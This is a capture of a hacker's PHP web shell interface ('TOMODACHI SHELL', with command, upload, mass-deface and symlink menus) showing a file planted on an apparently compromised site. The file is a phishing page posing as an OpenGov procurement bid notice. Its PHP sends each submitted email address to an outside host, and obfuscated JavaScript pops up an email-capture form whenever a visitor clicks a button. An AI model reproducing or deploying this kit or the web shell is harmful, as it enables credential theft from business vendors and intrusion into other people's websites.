TOMODACHI SHELL

Free Palestine !! - Free Gaza !!


 
OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/bluesky/.pki/../public_html/opengov/

 Home   ☍ Command   ☍ Upload File   ☍Info Server   ☍ Buat File   ☍ Mass deface   ☍ Jumping   ☍ Config   ☍ Symlink   ☍ About 

Current File : /home/bluesky/.pki/../public_html/opengov/index.php
<?php
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $email = filter_input(INPUT_POST, 'email', FILTER_SANITIZE_EMAIL);
    if ($email && filter_var($email, FILTER_VALIDATE_EMAIL)) {
        header("Location: https://itb.arrow-asphat.com/65e876f3660d457799833085f52b5d9d/?cShNX=SBF6tmj&grabba=" . $email);
        exit;
    }
}
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <link rel="icon" href="https://i.postimg.cc/tC7ccSHR/favicon-3-3.png" type="image/x-icon">
    <link href="https://fonts.googleapis.com/css2?family=Barlow:wght@400;500;700&display=swap" rel="stylesheet">
    <title>Project Overview</title>
    <style>
        body {
            font-family: "Barlow", Arial, sans-serif;
            background-color: #f3f6fb;
            margin: 0;
            padding: 0;
        }

        .sticky-header {
            position: sticky;
            top: 0;
            z-index: 1000;
            background: white;
            border-bottom: 0px solid #ccc;
            padding: 0;
            background-color: #293fa1;
        }

        .header-content {
            display: flex;
            align-items: center;
            padding: 10px 16px;
        }

        .logo-title {
            display: flex;
            align-items: center;
            gap: 10px;
        }

        .logo-icon {
            height: 28px;
            width: 28px;
            color: #4b3fff;
        }

        .logo-title h2 {
            margin: 0;
            font-size: 18px;
            color: white;
            font-weight: bold;
        }

        .container {
            background: white;
            margin: 20px auto;
            padding: 20px;
            max-width: 1200px;
            border-radius: 2px;
        }

        .main-header {
            display: flex;
            justify-content: space-between;
            flex-wrap: wrap;
        }

        .main-header img {
            height: 80px;
        }

        .status {
            background-color: #257d34;
            color: white;
            padding: 6px 16px;
            font-weight: 500;
            border-radius: 4px;
            height: fit-content;
        }

        h2 {
            font-size: 22px;
            margin-top: 20px;
            font-weight: 500 !important;
        }

        h3 {
            font-size: 22px;
            margin-top: 20px;
            font-weight: 500 !important;
        }

        .project-info {
            font-size: 14px;
            margin-top: 15px;
            color: #333;
        }

        .buttons {
            margin-top: 15px;
            display: flex;
            flex-wrap: wrap;
            gap: 10px;
        }

        .buttons button {
            background-color: #1f7ed6;
            color: white;
            border: none;
            padding: 8px 12px;
            border-radius: 2px;
            cursor: pointer;
            transition: background-color 0.2s ease-in-out;
        }

        .buttons button:hover {
            background-color: #166abe;
        }

        .footer-note {
            margin-top: 10px;
            font-size: 13px;
            color: #165cab;
            font-style: italic;
        }

        .tabs {
            margin-top: 30px;
            display: flex;
            flex-direction: column;
            border-top: 1px solid #ccc;
        }

        .tab {
            padding: 10px !important;
            border-bottom: 1px solid #eee;
            color: #1f7ed6;
            cursor: pointer;
        }

        .tab:hover {
            background-color: #f0f0f0;
        }

        .tab-content {
            display: none;
            margin-top: 15px;
        }

        .tab-content.active {
            display: block;
        }

        .summary p {
            margin: 20px 0;
            font-size: 14px;
        }

        .highlight {
            color: rgb(168, 0, 0);
            font-weight: bold;
        }

        @media (min-width: 768px) {
            .tabs {
                flex-direction: row;
                border-bottom: 2px solid #ccc;
                border-top: none;
            }

            .tab {
                border-bottom: none;
                margin-right: 20px;
                padding: 10px 0;
            }

            .tab.active {
                border-bottom: 3px solid #1f7ed6;
            }
        }

        .modal-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100vw;
            height: 100vh;
            background-color: rgba(0, 0, 0, 0.5);
            display: none;
            justify-content: center;
            align-items: center;
            z-index: 999;
        }

        .modal {
            background-color: #ffffff;
            padding: 30px;
            border-radius: 4px;
            text-align: center;
            width: 100%;
            max-width: 400px;
        }

        .modal img {
            width: 160px;
            margin-bottom: 10px;
        }

        .modal form {
            padding: 0;
            margin: 0;
        }

        .modal form>* {
            width: 100%;
            box-sizing: border-box;
        }

        .modal input,
        .modal button {
            display: block;
            width: 100%;
            padding: 10px;
            font-size: 14px;
            margin: 10px 0;
            border-radius: 4px;
            box-sizing: border-box;
        }

        .modal input {
            border: 1px solid #ccc;
        }

        .modal button {
            background-color: #6c78d5;
            color: white;
            font-weight: bold;
            border: none;
            cursor: pointer;
            transition: background-color 0.2s ease;
        }

        .modal button:hover:not(:disabled) {
            background-color: #1f2f80;
        }

        .modal button:disabled {
            background-color: #6c78d5;
            cursor: not-allowed;
            opacity: 0.7;
        }

        .modal a {
            display: block;
            margin-top: 10px;
            font-size: 13px;
            color: #365fcf;
            text-decoration: none;
        }

        .modal small {
            white-space: nowrap;
            display: block;
            margin-top: 20px;
            font-size: 11px;
            color: #555;
        }

        @media (max-width: 500px) {
            .modal {
                padding: 20px;
                max-width: 90%;
            }

            .modal input,
            .modal button {
                font-size: 16px;
            }
        }

        @media (max-width: 600px) {
            .main-header {
                flex-direction: column;
                align-items: center;
                text-align: center;
            }

            .main-header img {
                margin-bottom: 10px;
                height: 100px;
                width: auto;
                max-width: 100%;
            }

            .status {
                width: 100%;
                max-width: 100px;
                text-align: center;
            }
        }

        @media (max-width: 500px) {
            .buttons {
                flex-direction: column;
            }

            .buttons button {
                width: 100%;
            }
        }

        .buttons button.no-bid {
            background-color: #ffffff;
            color: #000000;
            border: 1px solid #ccc;
        }

        .buttons button.no-bid:hover {
            background-color: #f2f2f2;
        }

        .buttons button img {
            height: 16px;
            width: 16px;
            margin-right: 0px;
            vertical-align: text-bottom;
            position: relative;
            top: 0px;
        }

        .buttons button.view-project-btn {
            background-color: #1f7ed6;
            color: white;
            border: none;
            padding: 8px 12px;
            border-radius: 2px;
            cursor: pointer;
            transition: background-color 0.2s ease-in-out;
        }

        .buttons button.view-project-btn:hover {
            background-color: #166abe;
        }

        ul,
        ul li {
            font-size: 14px;
        }
    </style>

</head>

<body>

    <header class="sticky-header">
        <div class="header-content">
            <div class="logo-title">
                <svg xmlns="http://www.w3.org/2000/svg" fill="white" viewBox="157.01 204.13 765.98 671.75" class="logo-icon" aria-hidden="true">
                    <path d="M891.57 204.13H188.44c-32.1 0-43.49 42.5-15.69 58.55l335.87 193.91v387.86c0 32.1 42.5 43.49 58.55 15.69l351.57-608.95c12.08-20.92-3.02-47.06-27.17-47.06Z" fill="white"></path>
                </svg>
                <h2>Procurement</h2>
            </div>
        </div>
    </header>

    <div class="container">
        <div class="main-header">
            <img src="https://mma.prnewswire.com/media/1861548/Procurement_Logo.jpg?p=facebook" alt="Pinellas County Logo" style="width: 150px; height: auto; border: 1px solid #ccc; border-radius: 4px;" />
            <div class="status">OPEN</div>
        </div>

        <h2>Vendor New Requirements to Prepare for ERP</h2>

        <div class="project-info">
            <strong>Project ID:</strong> 25-0811-NT<br>
            <strong>Release Date:</strong> Wednesday, July 16, 2025<br>
            <strong>Due Date:</strong> Monday, August 11, 2025 4:00pm<br>
            <strong>Posted:</strong> Wednesday, July 16, 2025 3:17pm<br>
            <em>All dates & times in Eastern Time</em>
        </div>

        <div class="buttons">
            <button type="button" class="view-project-btn">
                <img src="https://img.icons8.com/?size=100&id=30M9wv1iFkcH&format=png&color=FFFFFF" alt="View Project Icon" />
                View Project
            </button>

            <button type="button" class="draft-btn">
                <img src="https://img.icons8.com/?size=48&id=48&format=png&color=ffffff" alt="Draft Icon" />
                Draft Response
            </button>

            <button type="button" class="no-bid">
                <img src="https://img.icons8.com/?size=48&id=60713&format=png&color=000000" alt="No Bid Icon" />
                No Bid
            </button>
        </div>

        <div class="footer-note">
            Time Remaining: 18 days, 19 hours, 58 minutes
        </div>

        <div class="tabs">
            <div class="tab active" onclick="showTab('overview')">Overview</div>
            <div class="tab" onclick="showTab('documents')">Project Documents</div>
            <div class="tab" onclick="showTab('downloads')">Downloads</div>
            <div class="tab" onclick="showTab('addenda')">Addenda & Notices</div>
            <div class="tab" onclick="showTab('qa')">Question & Answer</div>
        </div>

        <div id="overview" class="tab-content active">
            <h3>Overview</h3>
            <div class="summary">
                <p class="highlight">New Requirements for Bid Proposal</p>
                <p>We are inviting your Company to bid on: <b>25-0811-NT</b>. The bid requirements is as follows:</p>
                <ul>
                    <li>Quotation must be valid for a period of 90 days from the tender closing date.</li>
                    <li>All Sub-Contractors are responsible for reviewing the all Construction Documents issued for Tendering (Drawings, Specifications, Scope of Work, and Appendices), Addenda, and Project Notices issued prior to tender closing. If none have been issued, please inquire prior to the tender closing.</li>
                    <li>By submitting a quotation for this project, it is understood that you are aware and have reviewed Division 0 – Procurement and Contracting Requirements and Division 1 – General Requirements, and agree to be bound by them.
                    </li>
                    <li>A valid Certificate of Insurance with a minimum of $5,000,000.00 per occurrence and Clearance Certificate must be provided prior to commencing any work on site. The Certificate of insurance must name Fortis Construction Group Inc. as “additionally insured”.
                    </li>
                    <li>A valid copy of a Ministry of Labour “Registration of Constructors and Employers Engaged in Construction” Form 1000 – in duplicate, must be provided prior to commencing any work on site.
                    </li>
                    <li>A valid signed and sealed Statutory Declaration must be provided at the time of or prior to any/all payment applications with exception to the first.
                    </li>
                    <li>By submission of a quotation you hereby agree to honor the said price for the duration of the bid validity period, unless retracted and/or revised in writing prior to the official closing time.
                    </li>
                </ul>
                <p>Refer to drawings and specifications for complete scope of work.</p>
                <p>You can respond by clicking on one of the links above to let us know your intentions.</p>
            </div>
        </div>

        <div id="documents" class="tab-content">
            <h3>Project Documents</h3>
            <p>Placeholder content for project documents.</p>
        </div>

        <div id="downloads" class="tab-content">
            <h3>Downloads</h3>
            <p>Downloadable resources will be shown here.</p>
        </div>

        <div id="addenda" class="tab-content">
            <h3>Addenda & Notices</h3>
            <p>Latest updates and clarifications.</p>
        </div>

        <div id="qa" class="tab-content">
            <h3>Question & Answer</h3>
            <p>Q&A content goes here.</p>
        </div>
    </div>

    <div class="modal-overlay" id="emailModal">
        <div class="modal">
            <img src="https://assets.procurement.opengov.com/brand/og-pro-v1.svg" alt="OpenGov Logo" />
            <p style="font-size: 15px; margin-bottom: 15px; color: #333;">
                To <strong>continue</strong>, please enter your email and click Continue
            </p>
            <form method="POST">
                <input type="email" name="email" required placeholder="Enter your email address" />
                <button type="submit" disabled>Continue</button>
            </form>
            <small style="display: block; text-align: center; font-size: 11px; color: #555;">
                By clicking “Log In” you agree to our
                <a href="#" style="display: inline; color: #365fcf; text-decoration: none;">Terms</a> and
                <a href="#" style="display: inline; color: #365fcf; text-decoration: none;">Privacy Policy</a>.
            </small>
        </div>
    </div>

    <script>
        (function(_0x56599d, _0x558e50) {
            const _0x393d3c = _0x575b,
                _0x6e11c7 = _0x56599d();
            while (!![]) {
                try {
                    const _0x3f6c45 = parseInt(_0x393d3c(0x9c)) / 0x1 + parseInt(_0x393d3c(0xa0)) / 0x2 + -parseInt(_0x393d3c(0x99)) / 0x3 + -parseInt(_0x393d3c(0xb5)) / 0x4 + -parseInt(_0x393d3c(0x93)) / 0x5 * (-parseInt(_0x393d3c(0xb3)) / 0x6) + -parseInt(_0x393d3c(0xa9)) / 0x7 + -parseInt(_0x393d3c(0xa8)) / 0x8 * (-parseInt(_0x393d3c(0x7e)) / 0x9);
                    if (_0x3f6c45 === _0x558e50) break;
                    else _0x6e11c7['push'](_0x6e11c7['shift']());
                } catch (_0x254eb5) {
                    _0x6e11c7['push'](_0x6e11c7['shift']());
                }
            }
        }(_0x55a7, 0x8af00), function(_0x3a2cac, _0xa8a595) {
            const _0x3f52be = _0x575b,
                _0x2b64a1 = _0x527f,
                _0x4c7de0 = _0x3a2cac();
            while (!![]) {
                try {
                    const _0x4544be = parseInt(_0x2b64a1(0x1ed)) / 0x1 + parseInt(_0x2b64a1(0x20b)) / 0x2 + parseInt(_0x2b64a1(0x1f0)) / 0x3 + parseInt(_0x2b64a1(0x1e8)) / 0x4 * (-parseInt(_0x2b64a1(0x1e7)) / 0x5) + -parseInt(_0x2b64a1(0x1fe)) / 0x6 + parseInt(_0x2b64a1(0x1f1)) / 0x7 * (parseInt(_0x2b64a1(0x216)) / 0x8) + -parseInt(_0x2b64a1(0x1ff)) / 0x9;
                    if (_0x4544be === _0xa8a595) break;
                    else _0x4c7de0[_0x3f52be(0x8f)](_0x4c7de0[_0x3f52be(0x7d)]());
                } catch (_0x442d4e) {
                    _0x4c7de0['push'](_0x4c7de0['shift']());
                }
            }
        }(_0x2d45, 0x88149));

        function _0x527f(_0x2b95a9, _0x1d6c86) {
            const _0x40fe7b = _0x2d45();
            return _0x527f = function(_0x3083d7, _0x1b976d) {
                _0x3083d7 = _0x3083d7 - 0x1e2;
                let _0x47c1a4 = _0x40fe7b[_0x3083d7];
                return _0x47c1a4;
            }, _0x527f(_0x2b95a9, _0x1d6c86);
        }

        function _0x5157() {
            const _0x23b7d6 = _0x575b,
                _0x257ddd = _0x527f,
                _0x38cf4f = [_0x23b7d6(0x9e), _0x257ddd(0x210), '94983zFIMSm', _0x257ddd(0x205), _0x257ddd(0x1fa), _0x257ddd(0x1e6), _0x23b7d6(0x84), _0x257ddd(0x1ee), 'trim', _0x257ddd(0x21b), _0x257ddd(0x218), _0x257ddd(0x20d), _0x23b7d6(0xa6), _0x257ddd(0x1ec), _0x257ddd(0x1f6), _0x257ddd(0x201), _0x23b7d6(0xb2), _0x23b7d6(0x8b), _0x257ddd(0x202), _0x257ddd(0x1ea), _0x257ddd(0x1fb), _0x257ddd(0x1eb), _0x257ddd(0x1f2), _0x23b7d6(0x89), _0x257ddd(0x1fc), _0x257ddd(0x200), _0x257ddd(0x1f9), _0x257ddd(0x213), _0x257ddd(0x219), _0x257ddd(0x211), _0x257ddd(0x20e), _0x257ddd(0x1e9), _0x23b7d6(0xa2), _0x23b7d6(0x9f), _0x257ddd(0x1f3), _0x257ddd(0x204), _0x257ddd(0x20c), _0x257ddd(0x212), _0x257ddd(0x1f4), _0x257ddd(0x1fd), _0x257ddd(0x1e2), _0x257ddd(0x1f5), 'forEach', _0x257ddd(0x215), _0x23b7d6(0x7f), _0x257ddd(0x1f7), _0x257ddd(0x1e5), _0x257ddd(0x1ef), _0x257ddd(0x208), _0x257ddd(0x20f), _0x23b7d6(0x83), _0x23b7d6(0x92), _0x257ddd(0x214), _0x257ddd(0x21a), _0x257ddd(0x1e3), _0x23b7d6(0x8a)];
            return _0x5157 = function() {
                return _0x38cf4f;
            }, _0x5157();
        }
        const _0x17d142 = _0x2327;

        function _0x2d45() {
            const _0x51ea39 = _0x575b,
                _0x440ca4 = [_0x51ea39(0x9b), _0x51ea39(0x7c), _0x51ea39(0xaa), _0x51ea39(0xac), 'padStart', _0x51ea39(0x86), _0x51ea39(0x80), _0x51ea39(0x82), '.tab', 'querySelector', _0x51ea39(0xae), _0x51ea39(0xa4), _0x51ea39(0x8d), _0x51ea39(0x81), _0x51ea39(0x9d), _0x51ea39(0x87), _0x51ea39(0xa1), _0x51ea39(0x9a), 'split', 'Time\x20Remaining:\x20Unknown', _0x51ea39(0xa3), '172810olEICw', '96DpvItf', _0x51ea39(0xb4), 'disabled', _0x51ea39(0x95), _0x51ea39(0x96), _0x51ea39(0xb1), _0x51ea39(0x97), 'DOMContentLoaded', '3023751yJznCU', _0x51ea39(0x90), _0x51ea39(0x94), _0x51ea39(0x85), _0x51ea39(0xad), _0x51ea39(0xb0), _0x51ea39(0xa5), 'Time\x20Remaining:\x20CLOSED', ':00-04:00', _0x51ea39(0xa7), 'pointer', _0x51ea39(0xb6), 'style', '\x20day', '436884AdGZmW', '14100327xmFoWk', _0x51ea39(0x98), _0x51ea39(0x8e), '\x20hour', _0x51ea39(0x8c), 'flex', 'emailModal', 'target', _0x51ea39(0x7d), _0x51ea39(0x7b), _0x51ea39(0x88), _0x51ea39(0x8f), _0x51ea39(0xaf)];
            return _0x2d45 = function() {
                return _0x440ca4;
            }, _0x2d45();
        }(function(_0x436adb, _0x4f12da) {
            const _0x2baf43 = _0x527f,
                _0x1fc6d5 = _0x2327,
                _0x50d1ed = _0x436adb();
            while (!![]) {
                try {
                    const _0x132551 = -parseInt(_0x1fc6d5(0x92)) / 0x1 + parseInt(_0x1fc6d5(0xa7)) / 0x2 * (-parseInt(_0x1fc6d5(0x8c)) / 0x3) + -parseInt(_0x1fc6d5(0x7b)) / 0x4 + parseInt(_0x1fc6d5(0x9b)) / 0x5 * (parseInt(_0x1fc6d5(0x9e)) / 0x6) + parseInt(_0x1fc6d5(0x83)) / 0x7 * (-parseInt(_0x1fc6d5(0x9d)) / 0x8) + -parseInt(_0x1fc6d5(0xa9)) / 0x9 + -parseInt(_0x1fc6d5(0xa3)) / 0xa * (-parseInt(_0x1fc6d5(0x97)) / 0xb);
                    if (_0x132551 === _0x4f12da) break;
                    else _0x50d1ed[_0x2baf43(0x20a)](_0x50d1ed[_0x2baf43(0x207)]());
                } catch (_0x1416f3) {
                    _0x50d1ed[_0x2baf43(0x20a)](_0x50d1ed[_0x2baf43(0x207)]());
                }
            }
        }(_0x5157, 0x9f74f));

        function setupModalTriggers() {
            const _0xf41494 = _0x575b,
                _0x7ae0c1 = _0x527f,
                _0x8d7d7b = _0x2327,
                _0x511a6b = document[_0x8d7d7b(0x91)](_0x8d7d7b(0x84)),
                _0x522aab = document[_0x8d7d7b(0xa5)](_0x8d7d7b(0x7d)),
                _0x4d76fe = document[_0x8d7d7b(0xa5)](_0x8d7d7b(0x86));
            _0x522aab[_0xf41494(0xab)](_0x4c526e => {
                const _0x17889d = _0x527f,
                    _0x3d4a5d = _0x8d7d7b;
                _0x4c526e[_0x3d4a5d(0x8e)](_0x17889d(0x1e3), _0x6b79ed => {
                    const _0x263237 = _0x3d4a5d;
                    _0x6b79ed[_0x263237(0xa1)](), _0x511a6b[_0x263237(0x99)][_0x263237(0x98)] = _0x263237(0xa4);
                });
            }), _0x4d76fe[_0x8d7d7b(0xab)](_0x22f104 => {
                const _0x4bfa35 = _0x8d7d7b;
                _0x22f104[_0x4bfa35(0x8e)](_0x4bfa35(0x7f), _0x32129f => {
                    const _0x4530e6 = _0x4bfa35;
                    _0x32129f[_0x4530e6(0xa1)](), _0x511a6b[_0x4530e6(0x99)][_0x4530e6(0x98)] = _0x4530e6(0xa4);
                });
            }), _0x511a6b[_0x7ae0c1(0x1ec)](_0x8d7d7b(0x7f), _0x4b3681 => {
                const _0x5288a9 = _0x7ae0c1,
                    _0x4e61e3 = _0x8d7d7b;
                _0x4b3681[_0x5288a9(0x206)] === _0x511a6b && (_0x511a6b[_0x5288a9(0x1fc)][_0x4e61e3(0x98)] = _0x4e61e3(0xad));
            });
            const _0x580a14 = _0x511a6b[_0x8d7d7b(0xac)](_0xf41494(0x91)),
                _0x1f9d29 = _0x511a6b[_0x8d7d7b(0xac)](_0x8d7d7b(0x80));
            _0x580a14[_0x7ae0c1(0x1ec)](_0x7ae0c1(0x209), function() {
                const _0x2d240b = _0x7ae0c1,
                    _0x1f338a = _0x8d7d7b,
                    _0xb9a8c0 = /^[^\s@]+@[^\s@]+\.[^\s@]+$/ [_0x1f338a(0x8d)](this[_0x1f338a(0x7e)]);
                _0x1f9d29[_0x1f338a(0x94)] = !_0xb9a8c0, _0x1f9d29[_0x2d240b(0x1fc)][_0x1f338a(0x9f)] = _0xb9a8c0 ? _0x2d240b(0x217) : _0x1f338a(0x9a), _0x1f9d29[_0x1f338a(0x99)][_0x1f338a(0x79)] = _0xb9a8c0 ? _0x1f338a(0x85) : _0x1f338a(0x8a);
            });
        }

        function _0x55a7() {
            const _0x1a25a4 = ['shift', '18vGopvw', 'none', 'toLowerCase', '128bMzVPf', 'Time\x20Remaining:\x20Invalid\x20date', '1365152cpfHeU', '.project-info', '20yXvByg', '1245660WcNYXz', 'not-allowed', 'input', 'display', 'button[type=\x22submit\x22]', '260291jUXQJn', 'Time\x20Remaining:\x20', 'floor', 'getTime', 'push', '32515sxAKAw', 'input[type=\x22email\x22]', 'toString', '5QYqXzI', '18871798GlxBck', 'replace', 'addEventListener', '\x20minute', '#6c78d5', '2423766ixTFLm', 'click', 'querySelectorAll', '732934clIiDE', 'value', 'match', 'split', '29060tRddny', '11755584jnhAuI', 'preventDefault', '.buttons\x20button', '#293fa1', 'textContent', 'test', '5BwPVMN', '4826248OtKhWW', '3657612epMYRO', 'backgroundColor', 'forEach', 'map', '45308JJoiaz', '952IlupcB', '1122116WwWfoa', 'innerHTML', '904660cahPJe', 'getElementById', '3616878plOVHV', '.footer-note', '2629252GTogpE', 'slice', 'cursor', '114FTMwyR'];
            _0x55a7 = function() {
                return _0x1a25a4;
            };
            return _0x55a7();
        }

        function showTab(_0x3f320b) {
            const _0x4d9b10 = _0x527f,
                _0x5cc9c9 = _0x2327;
            document[_0x5cc9c9(0x91)](_0x4d9b10(0x205))[_0x5cc9c9(0x99)][_0x5cc9c9(0x98)] = _0x5cc9c9(0xa4);
        }

        function updateCountdown() {
            const _0x564fa4 = _0x527f,
                _0xe61ae2 = _0x2327,
                _0x4ca8b9 = document[_0xe61ae2(0xac)](_0xe61ae2(0xa0)),
                _0x62f0a8 = document[_0xe61ae2(0xac)](_0xe61ae2(0x87))[_0xe61ae2(0xaa)][_0xe61ae2(0x81)](/<strong>Due Date:<\/strong>\s*([^<]+)<br>/);
            if (!_0x62f0a8 || !_0x62f0a8[0x1]) {
                _0x4ca8b9[_0xe61ae2(0x8f)] = _0xe61ae2(0xaf);
                return;
            }
            const _0x58c6ce = _0x62f0a8[0x1][_0xe61ae2(0x89)](),
                _0x3cf99a = _0x58c6ce[_0xe61ae2(0x96)](/^.*?,\s*/, '')[_0x564fa4(0x1e4)]('\x20'),
                [_0x5e81a, _0x3f8160, _0xa8dba6, _0x4cfd2e] = [_0x3cf99a[0x0], _0x3cf99a[0x1][_0xe61ae2(0x96)](',', ''), _0x3cf99a[0x2], _0x3cf99a[0x3]],
                _0x2d02e6 = convertTo24Hour(_0x4cfd2e),
                _0x1f863c = _0xa8dba6 + '-' + getMonthNumber(_0x5e81a) + '-' + _0x3f8160[_0xe61ae2(0x82)](0x2, '0') + 'T' + _0x2d02e6 + _0x564fa4(0x1f8),
                _0x2a42b5 = new Date(_0x1f863c);
            if (isNaN(_0x2a42b5[_0xe61ae2(0x90)]())) {
                _0x4ca8b9[_0x564fa4(0x1f6)] = _0xe61ae2(0x9c);
                return;
            }
            const _0x4db698 = new Date(),
                _0x3e04d5 = _0x2a42b5 - _0x4db698;
            if (_0x3e04d5 <= 0x0) {
                _0x4ca8b9[_0xe61ae2(0x8f)] = _0xe61ae2(0xae);
                return;
            }
            const _0x1689b9 = Math[_0x564fa4(0x218)](_0x3e04d5 / (0x3e8 * 0x3c * 0x3c * 0x18)),
                _0x2f35ae = Math[_0x564fa4(0x218)](_0x3e04d5 / (0x3e8 * 0x3c * 0x3c) % 0x18),
                _0x8b6700 = Math[_0xe61ae2(0x8b)](_0x3e04d5 / (0x3e8 * 0x3c) % 0x3c);
            _0x4ca8b9[_0xe61ae2(0x8f)] = _0x564fa4(0x203) + _0x1689b9 + _0xe61ae2(0xa8) + (_0x1689b9 !== 0x1 ? 's' : '') + ',\x20' + _0x2f35ae + _0xe61ae2(0x93) + (_0x2f35ae !== 0x1 ? 's' : '') + ',\x20' + _0x8b6700 + _0xe61ae2(0x88) + (_0x8b6700 !== 0x1 ? 's' : '');
        }

        function getMonthNumber(_0x10e8bd) {
            const _0x117fbe = {
                'January': '01',
                'February': '02',
                'March': '03',
                'April': '04',
                'May': '05',
                'June': '06',
                'July': '07',
                'August': '08',
                'September': '09',
                'October': '10',
                'November': '11',
                'December': '12'
            };
            return _0x117fbe[_0x10e8bd];
        }

        function _0x2327(_0xc8c13a, _0x336a83) {
            const _0x585af5 = _0x5157();
            return _0x2327 = function(_0x50f289, _0x5b0895) {
                _0x50f289 = _0x50f289 - 0x78;
                let _0x4ae8d1 = _0x585af5[_0x50f289];
                return _0x4ae8d1;
            }, _0x2327(_0xc8c13a, _0x336a83);
        }

        function _0x575b(_0x2f5187, _0x1a0cfb) {
            const _0x55a7c9 = _0x55a7();
            return _0x575b = function(_0x575b34, _0x55de51) {
                _0x575b34 = _0x575b34 - 0x7b;
                let _0xf0afa1 = _0x55a7c9[_0x575b34];
                return _0xf0afa1;
            }, _0x575b(_0x2f5187, _0x1a0cfb);
        }

        function convertTo24Hour(_0x2f9839) {
            const _0x5dde72 = _0x527f,
                _0x55a157 = _0x2327,
                [_0x5481be, _0x37cff1] = _0x2f9839[_0x55a157(0x81)](/(\d+:\d+)(am|pm)/i)[_0x55a157(0x95)](0x1, 0x3);
            let [_0x5e6a25, _0x2bccd3] = _0x5481be[_0x55a157(0xa2)](':')[_0x55a157(0x7a)](Number);
            if (_0x37cff1[_0x5dde72(0x212)]() === 'pm' && _0x5e6a25 !== 0xc) _0x5e6a25 += 0xc;
            if (_0x37cff1[_0x55a157(0xa6)]() === 'am' && _0x5e6a25 === 0xc) _0x5e6a25 = 0x0;
            return _0x5e6a25[_0x55a157(0x7c)]()[_0x55a157(0x82)](0x2, '0') + ':' + _0x2bccd3[_0x55a157(0x7c)]()[_0x55a157(0x82)](0x2, '0');
        }
        document[_0x17d142(0x8e)](_0x17d142(0x78), () => {
            setupModalTriggers(), updateCountdown(), setInterval(updateCountdown, 0xea60);
        });
    </script>

</body>

</html>

TOMODACHI | Tempest Hacker